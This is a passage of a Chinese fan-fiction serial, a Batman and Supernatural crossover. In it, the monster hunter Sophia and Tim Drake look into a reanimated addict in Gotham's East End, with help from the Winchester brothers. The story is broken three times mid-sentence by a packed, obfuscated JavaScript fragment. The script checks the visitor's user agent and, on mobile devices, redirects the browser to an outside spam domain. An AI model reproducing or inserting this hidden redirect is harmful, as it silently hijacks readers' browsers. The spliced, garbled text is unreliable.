虽说给提姆去找寻蝙蝠侠的小爱好提供了方便，但总会有想倾诉却只能面对着冷清的餐桌失落的情况。 或许，提姆是有一点点寂寞的。 心不在焉的用勺子扒拉碗里的米饭，索菲亚倒是胃口很好，从提姆遇到她起少女的大多数精力似乎都用在了吃上，像是油管流行的吃播视频一样，看她吃饭即使不饿也会想吃上点食物。 提姆跟着勉强吃完了碗里的饭，就看见索菲亚本该吃干净的饭碗里又是满满的一碗饭。 扇叶转动间，微风吹过，提姆坐在原地静静的看着索菲亚。 自那天从青柳小屋回来后，提姆的脑海中总是会想。 索菲亚当年到底在青柳小屋经历了什么？她也是试验品吗？还是说她只是因为失去了父母恰好被安置在青柳小屋？ 鲍里斯到底想拿琥珀金做什么？他是否还有同伙？哥谭其他家族是否也参与了进来想要分一杯羹？ 冷光灯的照射下，黑色的被美瞳放大的瞳孔格外显眼，脸颊上又多了一道细小的划痕。索菲亚捧着碗的手指上贴了创可贴，大概率用钩爪枪的时候被划伤了，提姆手上同样有类似的伤痕。 大多数时候不痛不痒，只是在接触水的时候会有些存在感罢了。 而这只是夜间工作中最微不足道的伤害，刀伤，枪伤都是常事，咬着牙自己缝合伤口早已司空见惯，提姆不过做了几个月的罗宾就几乎对于疼痛麻木，布鲁斯十几年下来用下来的止痛药能够让任何一个医生做出药物滥用的判决。 猎魔人也是一样吗？ 察觉到提姆视线的索菲亚抬起头，和提姆的眼神在风扇嘎吱作响的烦闷空气中交汇，被凝视的不适让少年下意识移开了视线，却注意到少女白皙的咽喉处凸起的一道伤痕。 如果没有记错，索菲亚上次还没有这样的伤口。 直到索菲亚的手不经意的挡住了蜈蚣一样的伤疤，提姆才拉回思绪。 “你受伤了吗？” “这个啊，遇到讨厌的家伙了，挨了顿打。”索菲亚将手放下，抬头把伤口展示了出来“不过放心，我没吃亏，也没杀人，你没理由把我抓走。” 提姆下意识伸手想要确认伤疤的严重程度，悬在半空的手就被少女抓住，有些微凉短的手指撬开了少年虚握的手，从掌心滑动至指缝，牢牢相扣。 “想摸？那是另外的价钱。”索菲亚突然露出个略带狡黠的笑，脸颊上的酒窝没减轻半分奸商的气息“十个冰淇淋起拍，还有更高的价格吗？” 提姆挑眉，笑容里满是势在必得，回应般捏了捏少女的手。 “我出二十个，够了吗布兰登小姐？” “二十个一次，二十个两次，二十个三次——”索菲亚松开少年的手，起身从餐桌另一旁走过，贴在提姆坐着的椅子把少年往里挤“成交了，现在拒不退款了，德雷克先生。” 索菲亚再度牵上少年的手，指引着友人将手指放在那道狰狞的伤疤上。 手指能清晰地感受到微微地颤动，猫一样的少女弯了弯眼睛，随着一声吞咽，提姆清晰地感受到皮肤在指尖滚动的触感，微凉的细腻的皮肤上增生的伤疤部分格外突出。 指尖数次划过那道疤痕，少女却没一丝的不适，毫无顾忌的大胆的用眼神观察着提姆的细微的表情变化。 两张年轻的面孔几乎要撞在一起，提姆才后知后觉的意识到这样的距离太近了，即便是父母这样的距离都或多或少有些冒犯。少年下意识将身体后仰想拉开距离，索菲亚却爆发般将少年的手贴在自己的脸颊边，继续注视着少年不复冷静的介于大海，天空以及名贵宝石之间的蓝色双眼。 由掌心传递而来的属于另一个本应是朋友却突破了那层关系的人的体温，这种陌生的体验即便是一向自认为有点聪明的提姆大脑也开始停转。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869928|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >直到少女重新拉开距离，提姆才快速整理好了那些出格的不该出现的杂乱思绪。 一个月后，由韦恩集团出资的游乐园会进行试营业，按照计划那晚会燃放价值数百万美元的烟花，烟花结束之时也是一切梦境破碎接受现实的时候。 提姆打算在那天结束目前的一切。 如林肯马奇所说，他的脸会出现的越来越频繁。 几天内，无论是商场外挂的宣传海报，电视上放映的谈话节目，油管上流传的宣传短片，那张英俊的典型美国白男的带着下巴屁股的脸二十四小时不间断的出现在哥谭人肉眼所及的所有地方。 即便是看到这张脸就会快速切频道的索菲亚也被迫知道了这位政坛新星的故事。 一个出身寒微，从哥谭本地孤儿院走出的男孩，凭借自己的汗水和努力，成为了投资公司的创始人为自己赢得千万家产。 但年轻人并不满足，而是在看到哥谭现状后决定挺身而出，反对腐朽无能的前任政府，用自己的一腔热血全身心的投入到家乡的建设中，参加了本届市长竞选。 至少不说其他的，只凭一张帅脸，林肯马奇已经比严肃刻板满是算计的干巴老头，有多次入狱经验但归来仍是良心企业家的企鹅人以及无能到只敢对蝙蝠侠狗叫的现任市长靠谱太多。 如果说真要在这些人中选一个的话，索菲亚选择连夜蹬自行车带着全部家当去乡下种地。 这里是什么人间炼狱吗？哥谭市民的意识都是用钢铁铸成的吗？ 为什么不支持蝙蝠侠竞选市长，至少蝙蝠侠有脑子还能卷。 一定要在罪犯，废物，罪犯和罪犯中挑一人当市长吗？ 这市长是非要不可吗？ 索菲亚打听了提姆的口风，至少从蝙蝠侠的角度看来履历干净且意气风发的林肯马奇无疑是最好人选。 不是的哥们，你根本不知道咕咕杀人中心的洗白能力有多强啊。 就算是□□过来都可以洗成，为了国家牺牲自我奉献一切的无产阶级战士的机构做出来的虚假消息到底有什么可以相信的啊。 这种悲痛的恨不得把真相全都托盘而出，然而只会暴露出自身是黑暗组织同伙的经历让索菲亚即便半夜醒来还是忍不住叹气。 等到夜巡的路上遇到了蝙蝠侠，失望之情几乎溢于言表。 “唉，算了，祝你成功。” 打了个喷嚏的蝙蝠侠侧身闪过了喽啰的攻击，一脚将敌人踹飞出去，还能用钩抓枪将另一侧用枪瞄准的壮汉拉进身侧使出一记重拳，罗宾清晰地听到了对方骨头断裂的清脆响声。 “B，你没事吧。” 蝙蝠侠没有回话，而是将散落一地的混混各自捆好，转身离开。 “你的恋爱情况如何？” “还好，不对我没有恋爱，那只是个误会。” “我相信你罗宾你能处理好一切，但有件事你必须要记得——做好安全措施。” 听到导师的话，罗宾脚下一滑险些从高楼落下。 “不是，我没有……” “还有，别太伤一位女士的心。” 罗宾不语，闷闷的跟在导师身后，终于还是没有回答。 25.第 25 章 哥谭的气温每天都在勇攀新高，不知道藏身在树冠还是草丛中的蟋蟀尖锐持久的鸣叫声穿过墙体平等的攻击着每个人的耳朵。 人群因为不同的课来回在各个教室穿梭，眼睁睁看着课表上的课越上越少，索菲亚突然后知后觉的意识到，夏天要来了。 伴随着夏日带来的炎热，虫鸣和阴晴不定的天气外，还有一件事也迫在眉睫。 这学期的所有课程基本都要结束，掰着手指头数下来只剩下一个presentation，就能结束这几个月所有的学习任务，下次开学报道索菲亚就要接受从初中到高中的转变了。 索菲亚拎着书包就对着空调出风口，让冷风基本带走了身上的燥热才回到自己选好的座位，提姆正站在台上调试设备检查文件内容防止出错。 好同桌终于愿意放弃他五颜六色的衬衫换了件白色套头t恤，露出白皙的脖颈和锁骨，少年微微低头注意力全都放在笔记本的屏幕上，额头两侧的刘海自然垂落，遮住了少年的眼睛。 为了方便做准备工作，两人提前半个小时就到了教室准备，蒂娜的腿上打着石膏行动不便，稍微要晚几分钟。 “这么说来，你现在算是少年霸总了吗？” “别打趣我了索菲亚，我只是帮布鲁斯的忙罢了。” 少年将幻灯片调出，反复确认了插入链接和图片的完整性才抬起了头。 “阿福多做了一份三明治，你别忘记吃饭，对胃不好。” “加班加了一天接连错过三顿饭的人没资格说我。”索菲亚打开提姆带来的保温盒，拿出了阿福精心制作的营养丰富的健康三明治“你吃了吗？不会也饿着吧。” “放心，我吃过了。” “好好吃，嗯姆，你说，咱俩分开之后我还能去韦恩庄园蹭饭吗？” “你放心，阿福很高兴在庄园看到一个会好好吃饭的小孩。”少年从讲台上走了下来，倚靠在桌子前“他估计还会拿你会好好吃饭的事来旁敲侧击布鲁斯，并友善提问布鲁斯打算什么时候加入三体人舰队。” 扣在一旁的手机响起铃声，索菲亚便知道肯定是蒂娜拄着拐杖到了楼下，在线摇一位幸运的朋友下楼迎接。 “我先去接蒂娜，一会见。” 离上课的点近了很多，来来往往的学生在走廊里穿梭，索菲亚熟练的拨开人群逆着人流下楼，不着痕迹的避开好几个失去平衡要撞过来的学生，还能顺手捞一下胳膊帮人保持平衡。 黑色的眼睛在人群中扫视，这时金发的靠在墙边拄着拐杖的蒂娜就格外的显眼。 “这里这里，索菲亚救命。” 索菲亚接过拐杖，让蒂娜环住自己的肩膀借力，金色的还带着护发精油气味的长发扫过少女的后颈，略微有些发痒。 “你抓好，我把你扛上去。” “啊？你一个人吗？你扶我上去就——” 蒂娜来不及说话，就被搂着腰托着大腿离开了地面。 “你行不行啊索菲亚，你要不还是扶我上去吧。” “相信我。” 即使抱起了比自己高一头的少女，索菲亚的表情依旧没有一丝变化，只是让蒂娜拿好自己的拐杖。 “抓好。” “啊？不是——” 蒂娜下意识叫出声，却发现自己没有一点失去平衡的迹象，少女的手臂格外有力，牢牢的托在大腿下方护住了裙摆，另一只手则虚放在腰部。 蒂娜敢打赌，就算不用手臂搂腰索菲亚大概率也能单手把自己抱起来来回跑二十层楼梯。 “索菲亚，你好棒，你为什么不跟我谈恋爱呢？我之前的男朋友根本抱不起来我，还要埋怨我重。” “那是他没用，废物就是喜欢找借口，你在班里随便找一个女孩子都能把你抱起来。” “德雷克也嫌你重吗？”蒂娜揶揄道。 “实际上我抱他多一点。” 即使抱着人但并不影响索菲亚的速度，少女大步流星的跨过台阶，还能分神和朋友聊天。 “你们怎么都知道了，我以为不是很明显。” “一起上了三年学，德雷克可是出了名的外冷内冷，他正经和同学相处什么样我还是心里有数的。”蒂娜扬起下巴“也就你觉得他脾气好，好相处，班里大多数人和他也就是说过几句话的关系。” 索菲亚停了下来，将蒂娜放了下来等到少女重新调整好姿势后才进入教室。 “早上好，麦恩。” 虽说是在给蒂娜打招呼，但提姆的眼神还是落在了索菲亚身上。 “早，德雷克，今天拜托你了。” 提姆点了点头露出一个友好的笑，但索菲亚总感觉这只罗宾鸟的笑容下满是加班的苦涩。 事实证明，提姆确实是一个品学兼优的六边形战士，即便每天晚上都牺牲睡眠时间穿着奇装异服出门和各种哥谭优秀人才战斗，也不影响聪明的大脑在汇报过程里快速运转。 除了转述蒂娜做的幻灯片内容外，少年还能利用自己广阔的知识面进行补充，让本就无聊的课题都变得有趣了许多。 索菲亚刚开始还能听点少年讲述的内容，只是过了没一会注意力全跑到了其他的方向。 年轻的猎魔人有段时间忽视了这座城市不该存在的行事诡谲，不同于人类的怪物的踪迹，但是在某天起罗宾开了一个全新的，只有他们二人知道的通讯频道，并把警方的通讯频道一起单方向接了过来。 同时，被打包好的论坛以及警方消息中与魔法，怪物，人口失踪相关的信息出现在了索菲亚的邮箱里。 一时之间，仗着信息量不够就开开心心在家摆烂的索菲亚第一次体验嘴里被人塞满工作的体验，在深刻体验被背叛的感觉后此时站在讲台上侃侃而谈的某人显得格外可恶。 因为自己加班就把别人也拉来加班坏小鸟。 指指点点.jpg 在罗宾打包好的文件里，目前信息最全面同时紧急度最高的事件确实略微超出了义警工作的范畴。 东区的一个新手蛇头在约好的交易时间里被放了个鸽子，交易对象是个老毒虫，平日里毒瘾发作连偷带抢也要整点货爽上一把，却接连一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878125|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周都不见踪迹。 蛇头起先没当回事，毕竟在这破地方少个人是再正常不过的事，连报警都显得有些多余。有这些精力不如试着把货卖到学校周边去，那群少爷小姐但凡从手指缝里漏出点钱，就足够蛇头半年的业绩。 这本应该是在哥谭最让人司空见惯的故事，却在所有人没有预料的情况进行了更新。 那个毒虫还活着，只是见过他的每个人都只有一个想法——如果活成这样还是死了比较好。 在大家最喜欢交易的点，出现了一个大号的，上飞机必须得托运的行李袋，这种情况蛇头心里也有数，大概率是某个倒霉蛋的尸体，有时还会附赠作案工具。即便真有哪位愣头青傻乎乎的报了警，最多也就是那群天天靠着税金吃甜甜圈的警察嫌弃的走上一圈，抓几个人做完笔录，事情就了了。 有个磕的上头的菜鸟完全忘记了被拷进局子喝茶的麻烦，大手一挥拉开了拉链，确实是预料之内的一片血肉模糊。 围观的人群觉得无趣，顷刻间鸟兽作散，只是在还没来得及离开时，菜鸟发出了一声锐利的，满是恐慌的尖叫。 “我草，没死。” 那具几乎快被剁成肉馅的身体就这么从行李袋中立了起来，灰白的死人面庞上找不出一丝生机，纯黑的没有眼白的瞳孔没有重心，让在场的每个人都下意识认为自己被这样怪异的事物所凝视，大气都不敢出一口。 好在这怪物没有吃人的喜好，以下腰的姿势后退着消失在小巷尽头。 “这是什么驱魔人吗？是不是有点扯。” “我保证这老头绝对没这么好的柔韧度，他那老腰但凡磕一下就得躺三四天。” 面前的画面过于离奇，即使是再见多识广的老哥谭人也觉得脑子像是被打了两拳。 目前看来，这些零散的故事更像是大家酒后吹水的真实性不明的小故事，但是后续在论坛超过数十人都表示有见到这位驱魔人忠实爱好者，更有甚者捡到了这位老毒虫掉下来的鼻子。 对于罗宾来讲，顺手进行调查不算难事，不过将这事交给相对更加专业的猎魔人显然是更好的选择，即使是不喜欢和人合作的蝙蝠侠遇到魔法相关的事宜也会毫不犹豫将事情委托给那位大魔术师扎塔娜女士处理，而不是自己硬着头皮上。 学到了蝙蝠侠精髓的罗宾正好认识一位非常熟悉的猎魔人，而这位猎魔人最近已经闲到随时会在家里会长蘑菇了。 不过这起事件确实不难判断，不是被恶魔附身就是被恶鬼诅咒，索菲亚只需要把当事人的社会网，最近的社会活动，以及居住的环境进行大致检查就能解决这些问题。 唯一麻烦的点可能是，对付恶魔或者亡灵往往需要准备固定的材料，比如十字架，圣水，食盐以及棕榈，而索菲亚的大多数经验还是针对食尸鬼，吸血鬼以及炼金术师炼制出的非人生物这种拥有实体的怪物，只能希望第一次不要遇到过于离谱的无实体怪物。 所以要去哪里找开过光的圣水和十字架呢？ 索菲亚将视线从手机屏幕上的哥谭教堂移开，心里有了想法。 26.第 26 章 原帖中虽然模糊了具体的位置，但是蛇头提到的附近有富家少爷出没，大概率就在企鹅人势力范围下的遍布着夜总会，酒吧等娱乐场所的罗宾斯维尔附近。 在实地调查前，索菲亚去了趟黑市，熟练地踹开黑市贩子家的大门，取到了自己提前订好的□□以及一打银制子弹。 除此之外从教会的神父手里以父亲病重想要得到祝福过的十字架和圣水的请求也被应允。 少女拿到所需之物转身的片刻，就停止了抽噎的动作，只是已经流出的泪水无法收回，沿着脸颊滑落，平添了几分脆弱感。如果不是格外冰冷的眼神，任谁也不会把索菲亚和刚刚柔弱娇嫩的少女联系在一起。 前往罗宾斯维尔的路上，还能听到耳机那边罗宾独自夜巡时身边划过的飒飒风声。 “蛇头的真名是本杰明.史密斯，原先是哥谭大学的化学系学生，因为在学校兜售违禁药物被开除。不过被开除后，他没过多久选择继续兜售违禁药物，根据戒毒所的记录他本人也在退学后染上毒瘾，在经历三次戒毒失败后彻底放弃挣扎。” “我还没做罗宾的时候，在跟着B的时候曾经无意间撞见过他，最后还是装作找乐子的学生买了份药物才脱身，非常难缠。” “在查询失踪人口后，帖子里提到的受害人大概率是查尔斯.华盛顿，这名字听起来有些熟悉……” “他曾经是韦恩集团的项目主管，在职期间负责的大多是些哥谭建筑的维护工作，哦对，韦斯特沃德大桥在七年前被小丑炸毁后的维护工作就是由他负责的。” “不过看资料，他工作期间涉嫌滥用职权，和合作方利用阴阳合同骗取公司资产，涉嫌金额在两千万美元左右。直接结果就是维修后的大桥在投入使用不到两年内就发生了坍塌事故，被警方逮捕后坐了五年牢。” “只有五年吗？” 听到这里，索菲亚不免有些疑问。 “有人替他找了胜率极高的黑律师，有意思的是这位律师长期为奥斯瓦尔德家族服务，上一个胜诉的案子还是企鹅人在港口因为人口买卖被蝙蝠侠和当时的罗宾挂在了警局门口。” “如果有企鹅人撑腰，那他怎么会沦落到在街头流浪的地步？” “在他出狱前出现了一点点变故，企鹅人被不明黑客攻击，账户上还未洗白的黑钱被陆续转走。企鹅人大概率以为是查尔斯做了手脚，狠狠整了一把他，利用合同漏洞卖掉了查尔斯的住所。按照计划，查尔斯出狱后不久就会被发现死在家里，只是蝙蝠侠那会把企鹅人扔进了黑门监狱，企鹅人无暇顾及一个小喽啰这件事就这么过去了。” “当黑客好玩吗？” “还好。”少年的声音里带着几分得意“企鹅人不过如此。” “所以他今年才出狱对吗？” “对，今年三月，失去了住所还被企鹅人手下针对的查尔斯只能在街头流浪，为了缓解压力估计染上了毒瘾，只是没想到不过四个月就已经到了注射的阶段。” “能找到的书面资料就这些，监控里有关查尔斯的画面在上个月的20号就已经结束，而这篇帖子发布在查尔斯失踪的半个月后也就是6月4日。不幸的是，罗宾斯威尔街为了方便违法交易，大多数监控都已经被破坏。” “问题不大，交给我。” 索菲亚轻盈的如同一片羽毛般落在路灯上，黑色的斗篷遮住了残存的灯光，在角落里正等着交易对象的男人大约无聊到了极点，点燃了一根香烟。 本杰明是标准的白人男性长相，身高目测在五英尺十一英寸（一米八），体型算不上匀称，此时站在角落里像是根刚错了位置的电线杆。棕色头发被理成了方便打理的板寸，只能看到脑袋上深色的一层发茬，那张格外臭的长脸像极了一头马上要踹人的驴，眼睛被墨镜所遮盖反而看不真切。 所以为什么要在晚上戴墨镜啊？这是什么哥谭流行新元素吗？ 此时，罗宾那边没了动静，估计已经在和哥谭各类人才进行激情搏斗。 索菲亚正要一个飞身下去将人暴打一顿后吊在路灯上慢慢盘问，一高一矮两道身影的进入让索菲亚生生收回来迈出一半的脚步重新蹲了回去。 “嘿，哥们，你这有些什么货？”高的那位张嘴。 “滚开。”本杰明没有抬头，张嘴就是美式问候。 “哥们，我们没什么别的意思，就是想打听点事。”矮的那个影子站在本杰明身边“我们刚到哥谭，听说了论坛上的事。” “我这不卖润滑剂。”本杰明的眼神在两人身上扫过“滚蛋吧，基佬。” “你什么意思——” “等等萨姆，我来沟通。”矮个子的哥们有双特别漂亮的眼睛，在光线下显得格外水润仿佛随时要落泪“哥们，我俩刚从电影学院毕业，看了你写的那个故事有点好奇，我俩就指望这个剧本翻身了。” 那位高个的壮硕的被叫做萨姆的男人跟着同伴装模做样的从口袋里拿出证明，即便如此本杰明看到拿反的警官证时还是发出一声冷笑。 “不对，哦这是我们剧组拍上个警匪片的道具，是不是很真。” 本杰明难得睁开眼睛看了看，慵懒的吐出一口烟圈。 “说吧，你们能给多少？” “你要多少？”萨姆挑眉，但背后的肌肉始终保持绷紧状态，索菲亚打包票这哥们大概率是打架的一把好手。 “这个数。”本杰明比出三个手指“不然就滚蛋草你爸的屁股去吧。” 索菲亚蹲在路灯上听到这番对话掐着大腿才没笑出声来，思索着这哥俩不会真的傻乎乎的给钱吧，连点暴力手段都不用吗？ 就在此刻，随着本杰明叼着的那根烟头掉落下来的烟灰在空中熄灭，矮个男人一记重拳挥出。 “说了我们是兄弟，杂种。” 那位萨姆很快也冲了上去，两人果然是练家子，配合也算默契一前一后堵住了本杰明的退路，每一招对冲着对方面门而去。 索菲亚一眼看到了萨姆别在腰后的旧手枪，能在这种冲动情况下还不拔枪的除了警察，义警大概率也只有猎魔人了。 结合对方拙劣的演出，索菲亚两眼一黑看不见猎魔人的未来。 从路灯上一跃而下，光线也随之消失，一片漆黑中索菲亚精准的看到了三人的站位，用刀背分别敲击了三人的腿窝，后颈，随后便顺手把这三人捆了起来。 “你是谁？” “6月4日你看到了什么？”索菲亚压低了嗓音“你怎么知道那家伙是查尔斯。” “你是什么东西我凭什么要告诉你。” 索菲亚抓住本杰明的关节，轻轻一扭就听到了意料之中的声音，在男人撕心裂肺的吼叫中满意的放下了手。 “你可以试试能坚持到第几根骨头被打断。” 索菲亚不去看眼神里满是怨毒的本杰明，转头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881811|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向了被捆在一起的兄弟俩。 “看得出来你俩确实是外地人了，搭讪的路数在外地行得通在哥谭可不行，你应该直接打断他的骨头再问话。说说吧，你们追查的是恶魔还是亡灵？” “恶魔……不是你是？” “很难理解吗？同行罢了。”索菲亚手起刀落，捆住二人的绳索便被分成几段后落在了地上“喊我布兰登就好。” “迪恩温彻斯特，这位是我弟弟萨姆，我们也是看了帖子来的。”矮个男人揉了揉关节，从地上爬了起来“只是没想到还有人愿意干这烂活。” 索菲亚没有回答，而是注视着二人，片刻才收回视线，不紧不慢的同步了信息。 “就是这些，但目击现场的信息还需要补充。” 三人的视线聚焦在唯一被束缚的本杰明身上，显得格外焦灼。 “你以为我会说吗？你以为这能威胁我？” “那我现在就把蝙蝠侠引过来，你认为他知道你向未成年卖白粉会不会把你的屎都打出来？”索菲亚走近男人，蹲了下去和男人墨镜下的眼睛对视“要试试吗？” “你以为蝙蝠侠是什么？你说来就——” “你看那是什么？” “我说我说，别打我。”本杰明绝望地闭上了眼睛，随后开始回忆。 “我听过查尔斯的事，给企鹅人办事结果出了这么大的岔子能活着都算命好。他最开始流落街头的时候还有点闲钱，只是没过多久就把那点钱都送到了各个蛇头手里，几个月里就把自己整的不成样子。” “他没少干赊账的事，失踪也是正常，往往没过几天就能拿着钱回来。不过他一般还不上账，拿了现钱也是为了买点白粉爽一把了事。” “我也没多想，像这种渣滓短期能拿到钱的办法除了卖血也就只有跟着那些老大干票大的，指不定哪天就死了，说到底也没人在乎。” “那次是失踪两周我只以为他去哪家医药公司做实验去了，正规的医药公司人体实验几个疗程就能拿千把块，要是掺和些上不了台面的实验，万把块到手都是正常的。” “就算是真的让人切碎了扔在大街上，也只能算他倒霉，毕竟哥谭这种给点甜头就给卖命的老鼠不是遍地都是吗？” “说重点。”索菲亚抬脚在男人身上踹了一脚。 “嘶。”男人吸了一口凉气，继续说道。 “别的细节都差不多，他跟团碎肉一样被装在行李袋里，然后就莫名其妙站了起来，那绝对不是活人会有的姿势，我见过那么多毒虫，就算磕再多也不至于在那种情况下还能站起来的。” “站起来就罢了，他还能用下腰的姿势倒着走，走的飞快。看架势，不知道的以为是只大蜘蛛。” “其它细节呢？”迪恩追问道。 “容我想想。”男人闭上眼睛，随后缓缓吐出一口气“眼睛吧，那双眼睛我以前从没见过。” “什么样的眼睛？红色的？总不能是被吸血鬼初拥了吧。” “有点像琥珀，感觉会流动，但颜色要更亮些，有点像……” 索菲亚沉思片刻，摘下了美瞳。 “这样的眼睛吗？” 金色的瞳孔在黑暗中亮起，紧盯着眼前的猎物，眼神中察觉不到一丝情绪。 本杰明的思绪似乎一下回到了发现那袋怪物的下午，那时自己正是被如出一辙的，怪异的眼睛以看待猎物的眼神盯着的。 27.第 27 章 熟悉的眼睛，熟悉的非法实验，熟悉的死而复生，这些元素单拎出来都算不上稀奇，但加在一起实在让人头大。 猫头鹰法庭，你到底想干什么！ 索菲亚敢打包票，这么明显的特征如果和咕咕杀人有限公司没有关系，猎魔人还不如干脆连夜跑去蝙蝠侠面前自爆利爪身份随后自觉入住哥谭知名景点阿卡姆精神病院，切身体验谈笑有小丑，往来无义警的传奇生活。 救命，法庭为什么还在追我。 “在那之后没有人见过查尔斯了是吗？”萨姆继续询问。 本杰明摇了摇头，但因为还在被捆着整个身体也跟着晃动，长脸上的胡子沾满了灰尘显得格外狼狈。 “他一般出现在哪里知道吗？” 本杰明猛地点头，随后用眼神看了看身上的绳子，又看了看面前的三人。 索菲亚再次挥刀，解开了男人身上的束缚。 “就在这附近，不过最近没听到有人撞见那鬼东西，要不然就去下水道找找。”本杰明活动着四肢，嘴里嘟嘟囔囔“不过按照那家伙当时的速度掉到河里了也说不定。” 索菲亚目送一瘸一拐的本杰明离开，男人还想骂上几句察觉到身后格外刺眼的视线选择闭上了嘴。 “你们带装备了吗？我没有什么对付恶魔和亡灵的经验。” 说罢索菲亚将拿出了从教堂顺来的十字架展示在二人面前，黄铜做成的物件格外亮眼，雕刻的栩栩如生的男人悬挂其上年复一年的替世人赎罪。 “所以十字架真的有用吗？” “可以试试木质或者银质，这两种对付亡灵和吸血鬼效果拔群，不过你这把也不错只要不上来就面对领主级别的恶魔都不是大问题。”迪恩接过十字架在手中端详得出了结论。 “那你平时处理什么样的怪物多一点？” “准确来讲只有食尸鬼，哥谭遇到其他怪物的机会不多，最后可能都是阿卡姆预备役。” 索菲亚无奈的摆手。 “我的老师说过也可以根据都市传说去找线索，不过哥谭有蝙蝠侠在，大多数都市传说还没捂热乎就得挨顿打，剩下的大多也没什么危害性。” “哥谭啊，那确实。” 话刚说完，两兄弟就没能绷住，笑了出来。 “听起来有点太小众了，我们为什么不把那几个难搞的家伙都弄到哥谭来让蝙蝠侠挨个打一顿。” “所以蝙蝠侠是真实存在的东西？我以为他跟slenderman，bunnyman一样只是个热门都市传说，所以这哥们天天晚上不睡觉去踢别人屁股？” “那算什么，我们还天天晚上不睡觉追在都市传说屁股后面呢。” 这句话一出，猎魔人之间被迫义务加班且收入微薄，不如去麦当劳炸薯条时薪高的悲凉感油然而生，在哥谭阴湿的角落里这样的话题显得过于沉重。 “我们还是继续聊恶魔吧。” 萨姆和迪恩引着索菲亚离开狭窄的街巷，在一阵迷茫的探索中经历多次走错路后终于在路灯下找到了自己的座驾，那辆黑斑羚有点年头但成色极好，看得出主人非常爱护。在暖黄色的路灯下，显得格外温馨。 只是这辆车停在了哥谭，就显得略有些格格不入，比如这辆车上似乎少了些重要的部件，比如说，轮胎？ “草，哥谭怎么回事。” 迪恩骂骂咧咧的上前查看情况，却只能对着自己心爱的黑美人心疼的抚摸因为暴力拆卸被留下划痕的车身。 “我要把那个王八蛋吊起来打，不打断他的骨头都对不起我的宝贝受到的痛苦。” 萨姆拍了拍兄长的后背充当安慰，然后打开车门从后座拿出来一本有点年头的皮质封面的本子。 “刚刚我就觉得本杰明描述的情况有点熟悉，现在可以确认了。”萨姆翻开笔记停在某一页“我们的爸爸约翰，曾经在其他猎魔人那里听过有关这样的故事，尸体在众目睽睽下死而复生，以《驱魔人》经典姿势逃走。” “死者家属被吓了一跳，最后还是几个胆大的小伙子拎着猎枪斧子在巡林人废弃的木屋里找到了用动物鲜血画成的，包含倒十字，六芒星元素的阵法。” “应该是有人挖开墓穴用尸体献祭想要召唤恶魔却出了差错，使得恶魔阴差阳错的被困在了那位死者的身体里。但这个混蛋以为召唤仪式失败了，所以着急忙慌的把尸体运了回去。” “就在死者的家人来墓园纪念的时候，恶魔醒了过来。” “最后是怎么处理的？” “几个年轻人将死者抓住后捆在胡桃木架上，放火烧到尸体没有任何反应后才将尸体重新下葬。” “木架，火烧，这两个词放在一起多少有点地狱。”耳机里罗宾难得有空回话。 “要找轮胎的话向前走八百米有家修车店，那个小贼还在讲价，现在去估计还能抓个人赃俱获。” “好。”索菲亚低声回应道。 “最多三百，几十年的老配件了，你敢卖我都不一定找得着下家。” 满是机油味道的格外刺鼻的修车店里，老旧的风扇摇着脑袋发出难听的响声，老板像是没骨头一样软趴趴的靠在门口，只是一瞥就定了价。 “嘿哥们，这轮胎的成色，质量再怎么样也不得七百，老是老了点但也不能那么低的价啊。” 棒球帽下，是一张局促的脸，五官几乎挤在一起难以舒展，剩余的部分则星星点点的遍布着冒着白点的青春痘，眼窝乌青但凡是明眼人就能看的出来这人刚刚挨了打，两只肥硕的手不断的搓来搓去，黑豆一样的眼睛同样左右乱瞥没有重心。 “我说个价五百，行的话我拿钱直接走。我实在手头紧，不然也不至于干这活。” “三百五。”老板懒洋洋的回话“我也不缺这么点东西。” “四百五，四百五成吧，我真的太缺钱了。” “你口口缺个口口钱，敢偷到我头上。” 迪恩愤怒的吼声格外显眼，咻的一声窜进店里，对着小贼的脸上邦邦就是两拳，萨姆紧随其后，拦住了那人的去路。 “你没凭没据凭什么说我偷了你的——啊，别打了别打了。” “要打出去打。” 小贼被拎着衣领带出了修车铺，索菲亚跟在后面对着屁股踹了一脚，对方一个趔趄险些趴到地上。 “为什么偷车？”迪恩蹲在小贼身边，看他拿扳手重新把轮胎装回去。 “缺，缺钱。” “废话这谁不知道，为什么缺钱。” 想到这，偷车贼黑豆般的眼睛开始剧烈震颤，脸色唰的一下变得苍白，连嘴唇都没了血色。 几天前，肯尼斯还在为混进学校的兄弟会而自豪。 肯尼斯的家境普通，父母在化工厂工作，勉强能够维持家庭的开支，让他不需要辍学打工来补贴家用。妈妈把翻身的所有希望都寄托在他的身上，为此不惜背负贷款也要把肯尼斯送进哥谭的私立中学。 